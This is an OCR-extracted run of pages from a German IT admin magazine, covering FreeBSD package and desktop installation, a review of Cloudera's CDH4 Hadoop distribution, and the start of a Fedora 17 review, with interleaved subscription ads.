Befehl »pkg_info« an. Um ein Paket zu 

entfernen, verwenden Sie »pkg_delete«. 

Der Befehl benötigt die vollständige Bezeichnung 

des Paketes. Die Versionsnummer 

verrät »pkg_version«. 

Auch Ports können Sie über »sysinstall« 

hinzufügen. In diesem Fall installieren 

Sie aber die Version des Programms, die 

zum Zeitpunkt der Veröffentlichung der 

installierten FreeBSD-Version aktuell war. 

Jeder Port enthält eine Datei »Makefile«, 

die Anweisungen für das Kompilieren der 

Anwendung auflistet. Zusätzlich gibt es 

die Datei »distinfo«, die eine Liste der 

Dateien sowie deren MD5-Prüfsummen 

enthält. Im Verzeichnis »files« liegen 

Patches, die generischen Quellcode auf 

FreeBSD portieren oder andere Anpassungen 

vornehmen. 

Die Datei »pkg‐descr« enthält eine Beschreibung 

der entsprechenden Anwendung, 

»pkg‐plist« ist eine Liste aller 

Dateien, die durch den Port installiert 

werden. Ein Port enthält nur die Anweisungen, 

wie der Quellcode kompiliert 

werden muss, den Quellcode selbst lädt 

der Installationsassistent aus dem Internet. 

Zum Installieren von Ports müssen 

Sie als »root« angemeldet sein. Ist das 

Kompilieren beendet, verwenden Sie den 

Befehl »make install« zur Installation des 

Ports. 

Desktop-Systeme 

Standardmäßig wird FreeBSD ohne grafische 

Benutzeroberfläche installiert, das 

System ist vor allem für den Betrieb auf 

Servern optimiert. Sie können aber nachträglich 

problemlos Gnome oder KDE installieren. 

Dazu melden Sie sich nach dem 

Start als Benutzer »root« an und wechseln 

in das Verzeichnis »/usr/ports/x11/xorg«. 

Kompilieren Sie mit »make install clean« 

Xorg als X-Server. 

Alternativ installieren Sie mit »pkg_add 

‐r xorg« direkt die Xorg-Binär-Pakete, die 

das System von einem Server lädt. Nachdem 

der X-Server installiert ist, müssen 

Sie sich noch für eine grafische Oberfläche 

entscheiden, also Gnome 2 oder 

Abbildung 3: FreeBSD lässt den Anwender den nächstgelegenen Mirror-Server für die Paketinstallation wählen. 

KDE. Um Gnome zu installieren, verwenden 

Sie den Befehl »pkg_add ‐r gnome2«. 

Über die Ports-Sammlung kompilieren Sie 

Gnome mit: 

cd /usr/ports/x11/gnome2 

make install clean 

Ist Gnome installiert, müssen Sie den X- 

Server des Computers so konfigurieren, 

dass er Gnome statt des standardmäßigen 

Window-Managers startet. Dazu editieren 

Sie die Datei »/etc/rc.conf« und fügen am 

Ende die »gnome_enable="YES"« ein. 

Nach dem Speichern und einem Neustart 

startet FreeBSD automatisch die Gnome- 

Oberfläche. 

Starten Sie FreeBSD neu, ist vermutlich 

noch die amerikanische Tastatur aktiviert. 

Um die Einstellungen auf Deutsch umzustellen, 

klicken Sie oben auf »System« 

und wählen »Preferences | Keyboard«. 

Auf der Registerkarte »Layout« können 

Sie die deutsche Tastatur hinzufügen und 

die amerikanische entfernen. 

FreeBSD-Derivate für 

Anfänger 

Wem die Installation von Gnome oder 

KDE zu kompliziert ist, der findet im Internet 

auch FreeBSD-Ableger, die auf den 

Betrieb mit einer Desktop-Umgebung optimiert 

sind. Auf der Seite [8] laden Sie 

die ISO-Datei von PC-BSD herunter, eine 

deutsche Internetseite finden Sie über 

[9]. Für den Betrieb als Server ist diese 

Version allerdings weniger geeignet. PC- 

BSD verwendet KDE als grafische Oberfläche. 

Eine weitere Möglichkeit, FreeBSD 

einfacher zu testen und zu installieren, 

ist DesktopBSD [10]. Auch diese Edition 

verfügt nach der Installation sofort über 

eine grafische Benutzeroberfläche auf 

Basis von KDE. 

Fazit 

FreeBSD ist ein ausgereiftes Unix-System 

für den Server. Wer ein freies Betriebssystem 

für einen Web- oder E-Mail-Server 

sucht, sollte einen Blick auf FreeBSD 

werfen. In puncto Stabilität ist es Linux 

mindestens ebenbürtig. Allerdings setzt 

die Verwaltung des Systems einiges an 

Wissen voraus. Die meisten Virtualisierungslösungen 

unterstützen den Betrieb 

von FreeBSD auch als virtuellen Server, 

etwa VMware oder Virtualbox. Um das 

System zu testen, ist also keine echte 

Hardware notwendig. Ein Betrieb als 

Desktop-System ist eher für Administratoren 

oder experimentierfreudige Anwender 

sinnvoll, für die es spezialisierte 

FreeBSD-Varianten mit GUI gibt. (ofr) n 

Infos 

[1] FreeBSD: [http:// www. freebsd. org/ de/] 

[2] Werner Fischer, SSD-Performance optimieren, 

ADMIN 03/2011: [http:// www. 

admin‐magazin. de/ Das‐Heft/ 2011/ 03/ 

SSD‐Performance‐optimieren] 

[3] HAST: [http:// wiki. freebsd. org/ HAST] 

[4] Handbuch: [http:// www. freebsd. org/ doc/ 

de_DE. ISO8859‐1/ books/ handbook/] 

[5] BSD-Forum: [http:// www. bsdforen. de] 

[6] Ports: »http://www.FreeBSD.org/ports« 

[7] Freshports: [http:// www. FreshPorts. org] 

[8] PC-BSD: [http:// pcbsd. org] 

[9] Deutsche PC-BSD-Seite: 

[http:// www. pcbsd. de] 

[10] Desktop-BSD: [http:// desktopbsd. net] 


Admin 


101

Test 

Cloudera 

© sxwx, 123RF 

Clouderas Hadoop-Distribution runderneuert 

Das vierte 

Programm 

In der freien Software-Welt bietet Hadoop die Grundlage für Big-Data- 

Anwendungen. Die zueinander passenden Komponenten der Hadoop- 

Welt zu installieren, ist schon nicht einfach. Abhilfe schafft die Cloudera- 

Distribution für Hadoop. Ramon Wartala 

Seit 2007 ist die Apache Foundation die 

Heimat von Hadoop. Neben dem verteilten 

Dateisystem HDFS und dem Map-Reduce-Framework 

Hadoop Commons sind 

auch viele darauf aufbauende Werkzeuge 

dort untergekommen. Der Grund dafür 

liegt darin, dass viele der mitwirkenden 

Firmen die eigenen Inhouse- oder Kunden-Lösungen 

einer größeren Entwicklergemeinde 

zugänglich machen wollten. 

Die Installation der einzelnen Komponenten 

von Hadoop ist alles andere als 

trivial. Möchte man den gesamten Stack 

aus Hadoop-Grundsystem plus zusätzliche 

Tools wie Zookeeper, Pig, Hive und 

so weiter auf einem Cluster installieren, 

ist die Nutzung der Apache-Versionen 

nicht in allen Fällen empfehlenswert, da 

man hier genau darauf achten muss, welcher 

Release-Stand mit welcher Version 

kooperieren kann. 

Um diesen Zustand zu verbessern, bieten 

Firmen wie Cloudera, Hortonworks, 

Greenplum, IBM oder MapR eigene Hadoop-Distributionen, 

die – ähnlich dem 

Paketkonzept der gängiger Linux-Distributionen 

– spezifische Installationsprogramme 

mitbringen. 

Die kalifornische Firma Cloudera war 

eine der ersten, die Beratung und Schulungen 

rund um Hadoop und die Lösung 

von Big-Data-Problemen anboten. Schon 

früh hat sie auch mit der Cloudera Distribution 

for Hadoop (CDH) eine Sammlung 

von Werkzeugen zusammengestellt, die 

für Debian/Ubuntu, Suse und Red Hat 

eine vereinfachte Installation bietet. 

Die jetzt erschienene Version 4 (kurz 

CDH4) bringt eine Reihe von Verbesserungen 

mit sich [1]. Diese betreffen sowohl 

das Grundsystem Hadoop Common 

und HDFS als auch diverse Werkzeuge, 

die sich über das CDH4-Paketmanagement 

nachinstallieren lassen. 

Hadoop Common und HDFS 

Grundlage des neuen CDH4 ist Hadoop 

in Version 0.23.1, das der Apache-Version 

vom Februar diesen Jahres entspricht 

(aktueller Release-Stand bei Redaktionsschluss 

war 2.0.0-alpha). Ein Vorteil 

dieser Version ist ihre Kompatibilität zu 

vielen anderen Werkzeugen des Hadoop- 

Ökosystems wie HBase, Pig, Oozie und 

Hive. Gleichzeitig sind eine Reihe von 

Konfigurationseinstellungen älterer Versionen 

weggefallen, sodass die nötigen 

manuellen Handgriffe bei der Installation 

auf ein Minimum reduziert werden. 

In den vergangenen Hadoop-Versionen 

war eine der kritischsten Schwachstellen 

der Architektur der Namenode-Daemon, 

der die gesamten Metadaten des verteilten 

Dateisystems HDFS verwaltet. 

Dabei führt er über jede Änderung des 

Dateisystems Buch und schreibt diese 

Änderungen erst in den Hauptspeicher 

und dann in ein lokales Dateisystem. 

Bei einem Ausfall des Namenode konnte 

unter Umständen das gesamte Dateisystem 

von Hadoop zerstört werden. Diesen 

Single-Point-Of-Failure (SPOF) behebt der 

HDFS-High-Availability-Patch. 

Zuverlässiger 

Dabei kann ein zweiter Rechner als 

redundante Namenode dienen, der im 

Fall eines Absturzes der ersten sofort 

einspringen kann. Hadoops Namenodes 

schreiben in regelmäßigen Abständen die 

durchgeführten Transaktionen in ein normales 

Dateisystem. Bei einer Hochverfügbarkeitskonfiguration 

müssen diese 

Daten auf ein SAN oder NAS geschrieben 

werden, damit der Fallback-Namenode 

die Chance hat, im Falle eines Ausfalls sofort 

auf die aktuellen Daten zuzugreifen. 

Diese Funktionalität lässt sich seit der 

zweiten Beta-Version auch nutzen, wenn 

für den Hadoop-Cluster die Kerberos- 

Authentifizierung eingestellt ist. 

Um auf Hadoops Dateisystem von anderen 

Systemen aus zuzugreifen, wurde der 

wenig leistungsfähige, alte HDFS-Proxy 

durch die REST-basierte Server-Komponente 

HDFS over HTTP (HttpFS) und die 

WebHDFS-API ersetzt. Der HttpFS-Server 



ACADEMY 

stellt einen Gateway dar, der sämtliche 

Lese- und Schreiboperationen ausführt, 

die über HTTP-REST-Aufrufe initiiert werden 

können. Damit lässt sich Hadoops 

Dateisystem mit anderen Programmiersprachen 

als Java oder C oder mithilfe 

einfacher Kommandozeilen-Tools wie 

»curl« oder »wget« manipulieren. Zum 

Beispiel liest der folgende Curl-Aufruf 

eine Datei aus dem HDFS: 

curl ‐i ‐L "http://Hostname:PortU 

/webhdfs/v1/Pfad?op=OPEN[&offset=U 

Wert][&length=Wert][&buffersize=Wert]" 

Dabei kann der Anwender mit den optionalen 

Parametern »offset«, »length« und 

»buffersize« die Größe der zurückgegebenen 

Daten vorgeben. 

MRv1 vs. MRv2 

CDH4 ist zu den letzten API-Versionen 

des Map-Reduce-Frameworks kompatibel 

(von 0.20.205 an). Hier spricht 

man auch vom Map-Reduce-Framework 

1.0 (MRv1). Dieses Framework ist das 

Standard-Framework für die Erstellung 

von Map-Reduce-Anwendungen in Java. 

Neu hinzugekommen ist die alternative 

MRv2-Implementierung eines Map-Reduce-Frameworks, 

die speziell für sehr 

große Cluster-Installationen von Hadoop 

(mehr als 4000 Rechner-Knoten) entwickelt 

wurde. Dieses von Yahoo 2010 entwickelte 

Framework, das dort unter dem 

Namen YARN (Yet Another Resource Negotiator) 

firmiert, ermöglicht es, die Last 

der Jobtracker-Daemons zu reduzieren. 

In der MRv1-Welt erfüllt der Jobtracker- 

Daemon von Hadoop zwei Aufgaben: 

Abbildung 1: Das neue Hadoop User Environment (Hue) im Browser. 


1. Er kümmert sich um die Planung der 

einzelnen Jobs und deren Verteilung auf 

die Tasktracker 

2. Er kümmerte sich um den Ablauf der 

einzelnen Tasks. 

Das YARN-System trennt diese beiden 

Aufgaben und verteilt sie auf zwei neue 

Daemons. Dabei kümmert sich der 

Resource Manager um die Verteilung der 

(Job-) Resourcen über das Cluster hinweg. 

Der Application Master kümmert sich um 

die Ausführung der Map-Reduce-Anwendung. 

Im Gegensatz zu einem globalen 

Jobtracker, der sich um das Wohl aller 

Map-Reduce-Anwendungen gleichermaßen 

kümmert, ist der Application Master 

nur für eine Map-Reduce-Anwendung 

zuständig. Der Application Master muss 

die benötigten Anwendungs-Resourcen 

vom Resourcen-Manager zugeteilt bekommen. 

Dieser etwas andere Ansatz 

bei der Verteilung von Speicher und CPU 

im Cluster orientiert sich stärker an dem 

ursprünglichen Ansatz aus Googles Map- 

Reduce-Konzept [2]. 

Neuigkeiten im Ökosystem 

Den noch bis vor Kurzem herrschenden 

Konkurrenzkampf zwischen den Protocol 

Buffers von Google [3], dem Thrift- 

System [4] und Avro hat CDH4 zugunsten 

des Avro-Formats entschieden. Kein 

Wunder, ist Doug Cutting, der Erfinder 

von Hadoop, gleichzeitig auch Erfinder 

von Avro und bei Cloudera unter Vertrag. 

Avro ist für den Austausch großer, 

strukturierter Datenbestände, als Transportformat 

konzipiert worden. Definiert 

werden Avro-Schema mithilfe von JSON. 

Innerhalb der 

CDH4 können alle 

Anwendungen mit 

Avro im Datenimport 

und ‐Export 

umgehen. 

Daten werden innerhalb 

eines Hadoop-Ökosystems 

in der Regel importiert, 

verarbeitet 

und in andere 

Systeme exportiert. 

Als universeller 

„Streamer“ nutzt 

Clouderas Distribution 

das Apache 

Online-Training 

IT-Sicherheit 

Grundlagen 

mit Tobias Eggendorfer 

Themen: 

❚ physikalische Sicherheit 

❚ logische Sicherheit 

• Betriebssystem 

• Netzwerk 

❚ Sicherheitskonzepte 

❚ Sicherheitsprüfung 

@Kirsty Pargeter, 123RF 

20% 

Treue-Rabatt für 

Abonnenten 

Deckt in Teilbereichen auch das 

Prüfungswissen für LPIC-303- 

Inhalte ab. 

Inklusive Benutzer- und Rechteverwaltung, 

Authentifizierung, 

ACLs sowie wichtige Netzwerkprotokolle 

und mehr! 

Das Grundlagentraining für IT- 

Sicherheit richtet sich an Systemadministratoren 

und solche, die 

es werden wollen ebenso wie an 

ambitionierte Heimanwender. 

Nur 299 Euro inkl. 19 % MwSt. 

Informationen und Anmeldung unter: 

academy.linux-magazin.de/sicherheit 

Ausgabe 04-2012 103

Test 

Cloudera 

Abbildung 2: Mit der Hue-Browser-GUI lassen sich zum Beispiel neue Jobs auf 

dem Cluster anlegen. 

Flume System [5] in der Version 1.1.0. 

Flume implementiert dabei das Konzept 

der Datenquelle- und Senke. Quellen 

können zum Beispiel Log-Dateien-Ströme 

oder Daten im Avro-Format sein, Senken 

lassen sich mit HDFS oder einer HBase- 

Datenbank realisieren. 

Apache HBase, die spaltenorientierte 

Datenbank für Hadoop, wurde mit der 

Version 0.92.1 in CDH4 integriert. Neu 

in dieser Version sind Logging-Mechanismen, 

um langsame Abfragen (HiveQL) 

zu identifizieren, Tools für die Reparatur 

korrupter Daten, Nutzer-Authentifizierung 

und besseres Monitoring über Javas 

Management Extensions (JMX). 

Daten im Warenhaus 

Die Data-Warehouse-Anwendung Hive 

wurde in der Version 0.8.1 mit in die 

Distribution gepackt. Sie enthält nun 

endliche Zeitstempel und BLOBs als 

generische Datentypen, Bitmap-Indexes 

und Group-by-Optimierungen, um nur 

die wichtigsten Neuerungen zu nennen. 

In einem aktuellen Release lässt sich 

auch Apache Pig mit der Clouder-Distribution 

installieren. Die Version 0.92.1 

hinkt nur eine Versionsnummer hinter 

der aktuellen Apache-Version 0.10.0 her 

und enthält eine Reihe Verbesserungen 

gegenüber der letzten Version. So wurde 

die Interoperabilität zwischen Pig, Avro 

und HBase genauso verbessert wie die 

Loader- und Store-Funktionalität für die 

Verarbeitung von CSV-Dateien. Nützlich 

für größere Projekte, die mit Pig realisiert 

werden sollen, ist das Penny-Framework 

[6], das sich für 

die Überwachung 

der Ausführung 

innerhalb eines 

Pig-Latin-Skripts 

eignet. 

Zum Datenaustausch 

mit relationalen 

Datenbanksystemen 

(RDBMS) 

bringt Cloudera 

Sqoop in der Version 

1.4.1 mit, das 

als Kommandozeilenwerkzeug 

Daten von und zu 

unterschiedlichen 

Systemen transferieren 

kann. Auf der Datenbank-Seite 

nutzt es dabei die von Java bekannte 

und leistungsfähige JDBC-Schnittstelle. 

Im aktuellen Release unterstützt es jetzt 

auch das Avro-Format. Damit lassen sich 

Datebank-Schemata in Avro-Schemata 

konvertieren und sogar komprimierte 

Avro-Datenströme verarbeiten. 

Etwas einfacher in der Handhabung ist 

das neue Hue (Hadoop User Environment, 

Abbildung 1) geworden, das ein 

Webbrowser-Frontend für die Nutzung 

von Hadoop bietet. Im Kern bietet das 

Tool einen (HDFS-)Dateibrowser, einen 

Job-Wizard zum einfachen Deployment 

von Map-Reduce-Anwendungen (Abbildung 

2) und mit Beeswax eine einfache 

Oberfläche, um CSV- und Excel-Dateien 

innerhalb von Hive nutzen zu können. 

Die Version 2.0 wurde vollständig neu 

und mithilfe von JQuery implementiert. 

Das ziemlich unschöne Namenode- Plugin 

für den Zugriff auf das HDFS wurde 

durch eine saubere WebHDFS/HttpFS- 

Implementierung ersetzt. Hue nutzt jetzt, 

wenn vorhanden, ein bestehendes LDAP- 

System, sodass die Nutzer-Authentifizierung 

zum Beispiel über OpenLDAP und 

Active Directory realisiert werden kann. 

Map-Reduce-Anwendungen werden nun 

über das Oozie-Workflow-Managementtool 

verarbeitet. 

Inklusive Amazon 

Apache Oozie ist mit Version 3.1.3 Teil 

der Cloudera-Distribution. Als wichtigste 

Neuerung ist hier die Verarbeitung 

von Hadoops neuen MRv2-Framework 

hinzugekommen. MRv2-MapReduce- 

Anwendungen lassen sich nun auch mithilfe 

von Apache Whirr in der Cloud betreiben, 

dank eines Updates auf Release 

0.7.1. So lassen sich zum Beispiel mehrere 

Amazon-EC2-Instanzen mit wenigen 

Kommandozeilenaufrufen starten und fit 

für die Nutzung mit Hadoop machen. 

Zu guter Letzt hat auch noch Apache 

Mahout, die Bibliothek für Algorithmen 

aus dem Bereich des Maschinellen Lernens, 

Eingang in Clouderas Distribution 

gefunden. In Version 0.6 sind einige neue 

Algorithmen für das Clustering und die 

Bayes Klassifikation dazugekommen. 

Fazit 

Ein komplexes Ökosystem, wie Hadoop 

und die hier aufgeführten Werkzeuge es 

bieten, möchte man nicht von Hand auf 

mögliche Inkompatibilitäten dieser oder 

jener Klassen-Bibliothek und Version 

untersuchen und installieren. Clouderas 

Nutzen liegt ganz klar in der einfachen 

Handhabung der ausgewählten Komponenten, 

die so aufeinander abgestimmt, 

im täglichen Beratungsalltag von Cloudera 

und bei eigenen Hadoop-Projekten 

unumgänglich sind. Man darf gespannt 

sein, ob andere Hadoop-Distributionen 

dem Platzhirsch Cloudera in absehbarer 

Zeit das Wasser reichen können. (ofr) n 

Infos 

[1] Cloudera CDH 4: 

[http:// www. cloudera. com/ cdh4/] 

[2] Map/Reduce: [http:// research. google. com/ 

archive/ mapreduce‐osdi04. pdf] 

[3] Google Protocol Buffers: [http:// code. 

google. com/ p/ protobuf/] 

[4] Apache Thrift: [http:// thrift. apache. org/] 

[5] FLUME: [https:// cwiki. apache. org/ FLUME/] 

[6] Penny: [https:// cwiki. apache. org/ 

confluence/ display/ PIG/ Penny] 

Der Autor 

Ramon Wartala ist Diplom-Informatiker und arbeitet 

als Director Technology für die Online-Marketing-Agentur 

Performance Media Deutschland 

GmbH. Neben den klassischen Datenbank-Anwendungen 

beschäftigen ihn vor allem auch solche, 

die mithilfe des Hadoop-Frameworks realisiert 

werden. Im Frühjahr diesen Jahres hat er das 

erste deutschsprachige Hadoop-Buch bei Open 

Source Press veröffentlicht. 


Probelesen 

ohne risiko 

Und Gewinnen! 

eines von sieben „SECU4Bags“ 

elektronisches Sicherheitssystem für Handys, 

Tablets und Laptops mit Bluetooth 

20g leicht, bis zu 100 Stunden Akkulaufzeit 

Alarm bis zu 100dB, Schutzdistanz 5 bis 30m 

gesponsert von 

SONDERAKTION! 

Testen Sie jetzt 

3 Ausgaben für 

NUR 3€* 

Telefon: 07131 /2707 274 

Fax: 07131 / 2707 78 601 

E-Mail: abo@linux-user.de 

Mit großem Gewinnspiel unter: 

www.linux-user.de/probeabo 

* Angebot gilt innerhalb Deutschlands und Österreichs. In der Schweiz: SFr 4,50. 

Weitere Preise: www.linux-user.de/produkte

Test 

Fedora 17 

© James Weston , 123RF 

Fedora 17 bringt Ovirt-Management-Framework für Virtualisierungs-Stack 

An vorderster Front 

Fedora 17 bringt aus technologischer Sicht alles mit, was im Open-Source-Bereich im Sektor Cloud, Server oder 

Development künftig von Bedeutung sein wird. Damit eröffnet es einen einfachen Weg, mit den neuesten Entwicklungen 

der Red-Hat-Entwickler, wie KVM, Open Stack und Ovirt, zu experimentieren. Thomas Drilling 

Fedora ist gemäß der eigenen Philosophie 

eine Distribution mit zum Erscheinungszeitpunkt 

möglichst aktueller 

Softwareausstattung. Zwar dient Fedora 

unter anderem den Red-Hat-Entwicklern 

als Experimentierplattform für neue 

Technologien wie KVM oder Open Stack, 

ist aber aufgrund der Aktualität auch für 

Anwender interessant. Allerdings besteht 

Fedora definitionsgemäß ausschließlich 

aus freier Software. Linux-Anwender 

sollten daher über die zum Aufbohren 

des Systems mit proprietären Tools und 

Treibern erforderlichen Basis-Kenntnisse 

verfügen. 

Fundamentales 

Fedora 17 steht als installierbare Live- 

CD für Gnome sowie in Form von bei 

Fedora „Spins“ genannten Varianten für 

KDE- oder LXDE samt einer vollständigen 

Liste der enthaltenen Neuerungen 

auf der Projektseite [1] zum Download 

zur Verfügung. Eine kurze Zusammenfassung 

der Neuerungen von Fedora 17 aus 

Anwendersicht erläutert nebenstehender 

Kasten. Fedora 17 beruht auf einem Kernel 

3.3.4-5, samt der damit einhergehenden 

verbesserten Unterstützung für die 

Dateisysteme Btrfs und Ext4 und enthält 

jetzt „firewalled“ als Standard-Firewall- 

Lösung. 

Als Standard-Compiler kommt erstmals 

die GNU Compiler Collection (GCC) 4.7 

zum Einsatz. Das heißt die Fedora-Entwickler 

haben fast alle Pakete neu übersetzt. 

Als weitere Programmiersprachen 

stehen Ruby 1.9.3, PHP 5.4, Erlang R15 

und eine komplette „D“-Entwicklungsumgebung 

zur Verfügung. Außerdem 

haben die Entwickler die Haskell-Plattform 

aktualisiert. Ebenfalls an Bord: eine 

Vorabversion von „Juno“, dem für Mitte 

Juni angekündigten Eclipse-Nachfolger, 

der bei Erscheinen dieses Heftes aller 

Wahrscheinlichkeit nach bereits über 

das Paketmanagement aktualisiert sein 

wird. Als Java-Umgebung ist standardmäßig 

Java 7 (OpenJDK7) im Lieferumfang 

enthalten. Fedora 17 ist außerdem 

die weltweit erste Distribution mit der 

Version 9.96 von SugarCRM mit GTK+3- 

Unterstützung und enthält Red Hats Java- 

Applikationsserver JBoss 7 als schlanke 

Alternative zu Apache Tomcat sowie die 

„Distributed Interactive Engineering Toolbox“ 

(DIET) [2]. 

Entrümpelt 

Ein Novum bei Fedora 17 ist, dass die 

Entwickler die Verzeichnisse »/lib/«, »/ 

lib64/«, »/bin/« und »/sbin/« abgeschafft 

haben; eine Entscheidung, die schon bei 

diversen Vorabversionen für reichlich 

Diskussionen gesorgt hatte. Die Fedora- 

Entwickler verschieben die genannten 

Verzeichnisse als Unterverzeichnisse 


Fedora 17 

Test 

nach »/usr«, wobei symbolische Links an 

den Ursprungspositionen dafür sorgen, 

dass die Abwärtskompatibilität erhalten 

bleibt und der Nutzer von der Änderung 

nichts bemerkt (Abbildung 1). 

Die Fedora-Entwickler erläutern die 

Gründe für diese tiefgreifende Maßnahme 

unter „UsrMove-Feature“ im Fedora-Wiki 

[3]. Einer der wesentlichen 

Gründe besteht darin, dass es ein derartiger 

Umbau der Verzeichnisstruktur 

zum Beispiel bei einem Update einfacher 

mache, einen kompletten Snapshot des 

Systems anzulegen, weil dann sämtliche 

System-Binaries im Verzeichnis »/usr« zu 

finden sind, das sich dann wiederum relativ 

einfach in ein eigenes Dateisystem 

auslagern oder schreibgeschützt über das 

Netz einbinden sowie von mehreren Systemen 

gleichzeitig nutzen lässt. 

Dass andere Distributions-Hersteller diesem 

Beispiel bisher nicht folgen, zeigt 

aber auch, dass nicht jeder dem Thema 

epochale Bedeutung zumisst. Problematisch 

ist die Änderung auf jeden Fall für 

Fedora-Nutzer, die Version 17 nicht vom 

ISO installieren, sondern ein System-Upgrade 

via Yum von Fedora 16 ausführen 

möchten. Als Lösung bietet sich dann 

nur ein nicht offiziell unterstützter Workaround 

an [4], der allerdings nur für 

versierte Fedora-Nutzer infrage kommt, 

die mit etwaigen Abhängigkeitsproblemen 

umzugehen wissen. 

Admin View 

Fedora richtet sich als Technologie-Trendsetter 

auch an experimentierfreudige Administratoren 

und bringt zu diesem Zweck 

eine Reihe interessanter neuer Enterprise- 

Funktionen mit. So enthält beispielsweise 

der Cluster-Stack jetzt unter anderem 

Corosync 2.0 und die Version1.1.8 des 

Cluster-Resource-Managers „Pacemaker“ 

und hat darüber hinaus eine Reihe von 

Aktualisierungen für Hochverfügbarkeitsund 

Load-Balancing-Applikationen erfahren. 

Vorbildlich ausgestattet ist Fedora 17 

auch im Bereich Cloud-Technologien und 

bringt wie Ubuntu 12.0 neben der IaaS- 

Cloud-Lösung OpenNebula zum Einrichten 

privater, öffentlicher oder hybrider 

Clouds auch sämtliche Komponenten des 

aktuellen Major Release 2012.1 (Essex) 

von OpenStack mit. 

Das in Python entwickelte Open-Stack- 

Framework stellt genau wie Open Nebula 

eine komplett freie Architektur für Cloud 

Computing zur Verfügung. Zu dessen 

Administration steht das Webinterface 

„Horizon“ zur Verfügung, und das Modul 

„Quantum“ implementiert Virtual 

Networking Services. 

Das Fedora-17-ISO basiert auf einem Kernel 

3.3.4, allerdings spielte die Aktualisierungsverwaltung 

zum Zeitpunkt des 

Tests nur wenige Tage nach Veröffentlichung 

ein Kernel-Update auf die Version 

3.3.7 ein. 

Die den Kernel 3.3.4 betreffenden Neuerungen 

dürften Admins ohnehin weitgehend 

bekannt sein, weil die meisten 

schon in Fedora 16 enthalten waren. Allerdings 

haben die Red-Hat-Entwickler 

einige der offiziell erst im Kernel 3.4 

enthaltenen Funktion bereits in den Fedora-Kernel 

einfließen lassen, wie etwa 

die Stromspartechnik RC6 oder den im 

Verlauf des Beitrages vorgestellten Virtio- 

SCSI-Treiber für KVM. Ferner enthält das 

von den Fedora-Entwicklern schon seit 

der Version 15 verwendete Init-System 

Systemd jetzt einen Login-Manager 

»systemd‐logind«. Dieser soll eine Reihe 

von Aufgaben im Umfeld des Benutzermanagements 

übernehmen und ersetzt 

unter anderem Consolekit. 

Datenträger und 

Dateisysteme 

Für Fedora-Kenner erwähnenswert ist 

zudem die Tatsache, dass auch die neue 

Fedora-Version Btrfs nicht als Standard- 

Dateisystem verwendet. Etwaige Planungen, 

Btrfs zum Standard zu machen, 

scheinen bis Fedora 18 auf Eis zu liegen, 

obwohl Fedora 17 immerhin bereits 

(noch) nicht offiziell freigegebene Tools 

zum Prüfen und Reparieren von Btrfs- 

Laufwerken beilegt (Abbildung 2). 

Dafür soll Ext4 bei Fedora 17 auch 

mit Datenträgern größer 16 TByte zurechtkommen. 

Übrigens hängt Fedora 

17 Wechseldatenträger nicht mehr wie 

bei den meisten Distributionen üblich 

unter »/media«, sondern unter »/run/ 

media/$USER« ein. 

Virtio-SCSI 

Selbstverständlich haben die Red-Hat- 

Entwickler die Gelegenheit genutzt, auch 

KVM selbst in vielen Bereichen zu überarbeiten 

und die offiziell nur im aktuellen 

Kernel 3.4 enthaltenen Neuerungen am 

KVM-Code auch im Fedora-Kernel verfügbar 

gemacht. So enthält KVM jetzt 

eine virtualisierte PMU (Performance Monitoring 

Unit) für Gäste sowie eine Live- 

Block-Kopierfunktion, mit deren Hilfe 

sich Speichermedien von Gastsystemen 

Abbildung 1: Fedora 17 verschiebt Systemverzeichnisse an eine andere Position, 

sorgt aber mit symbolischen Links für Abwärtskompatibilität. 

Abbildung 2: Das Experimentieren mit Btrfs ist zwar möglich, Default- 

Dateisystem ist es aber noch immer nicht. 


Admin 


107

Test 

Fedora 17 

kopieren lassen, während diese online 

sind. Installiert der Admin beispielsweise 

das Paket »Guest filesystem browser« und 

»System administration tools for virtual 

machines«, kann er mit einer grafischen 

GUI das Gast-Filesystem über den entsprechenden 

KVM-Treiber inspizieren 

(Abbildung 3). Zum weiteren Experimentieren 

mit KVM muss der Admin außerdem 

das Paket »QEMU metapackages 

for KVM support« installieren. 

PCI-2.3-Geräte kann das neue Fedora 

an Gäste durchreichen. Diese teilen sich 

dann auf dem Host eine Interrupt-Leitung 

mit anderen PCI-Geräten. Die in Fedora 

17 enthaltene KVM-Version enthält außerdem 

das ebenfalls offiziell nur im 

Kernel 3.4 vorhandene Virtio-SCSI, ein 

neuer SCSI-Storage-Stack für KVM-Gastsysteme. 

Der neue Storage-Treiber für das 

SCSI-Subsystem regelt zusammen mit der 

gleichlautenden Qemu-Unterstützung den 

Datenverkehr zwischen Gast und Host 

gegenüber dem bisherigen „virtio-blk“- 

Treiber mit weniger Overhead, skaliert 

besser und ist einfacher zu handhaben. 

Andere Distributionen werden KVM-Virtio-SCSI 

erst mit Integration des Kernel 

3.4 anbieten können. 

Virtsandbox 

Fedora 17 bringt als eine der ersten Distributionen 

die von Red Hat entwickelte 

Bibliothek Libvirt-Sandbox [5] mit, die 

Daniel Berrange im Februar dieses Jahres 

auf der FOSDEM in Brüssel vorgestellt 

hat. Sie erlaubt das Einsperren einzelner 

Applikationen mithilfe von KVM oder 

wahlweise auch mit LXC in eine abgesicherte 

Sandbox. Der Clou dabei ist, dass 

Abbildung 3: Fedora ist im Virtualisierungsbereich bestens ausgestattet, wenn auch keines der Pakete per 

Default installiert ist. 

das explizite Einrichten des Betriebssystems 

in der VM nicht notwendig und der 

Overhead damit sehr klein ist. 

In der Variante auf Basis von KVM startet 

Virtsandbox den Kernel samt Initramfs in 

einer VM, die ihrerseits nach dem Booten 

die eigentliche Anwendung aufruft. Da 

der Kernel der VM mithilfe des Qemu- 

Features Plan9fs (Plan 9 File System, [6]) 

Teile des Host-Dateisystems lesen kann, 

entfällt die Betriebssystem-Installation in 

der VM, sodass der zeitliche Aufwand 

beim Starten einer mithilfe der Libvirt- 

Sandbox eingesperrten Anwendung laut 

Daniel Berrange kaum ins Gewicht fällt. 

Laut Red Hats Messungen verzögert sich 

der Start einer Anwendung in der geschützten 

Virtsandbox um maximal 3 Sekunden 

gegenüber dem nativen Start. Bei 

der Virtsandbox-Methode soll laut Red 

Hat der Zugriff auf die CPU weitgehend 

ohne Performance-Einbußen erfolgen, 

während der Zugriff auf Geräte nur mit 

knapp 90 Prozent der Geschwindigkeit 

(gegenüber dem nativen Ausführen der 

gleichen Anwendung) erfolgt. 

Das Einrichten der Sandbox erfolgt über 

das CLI-Tool »virt‐sandbox«, mit dessen 

Hilfe der Admin beispielsweise festlegt, 

ob oder welche Netzwerk-Ressourcen in 

Neuerungen Fedora 17 aus Anwendersicht 

Zwar ist Fedora vor allem für Admins interessant, 

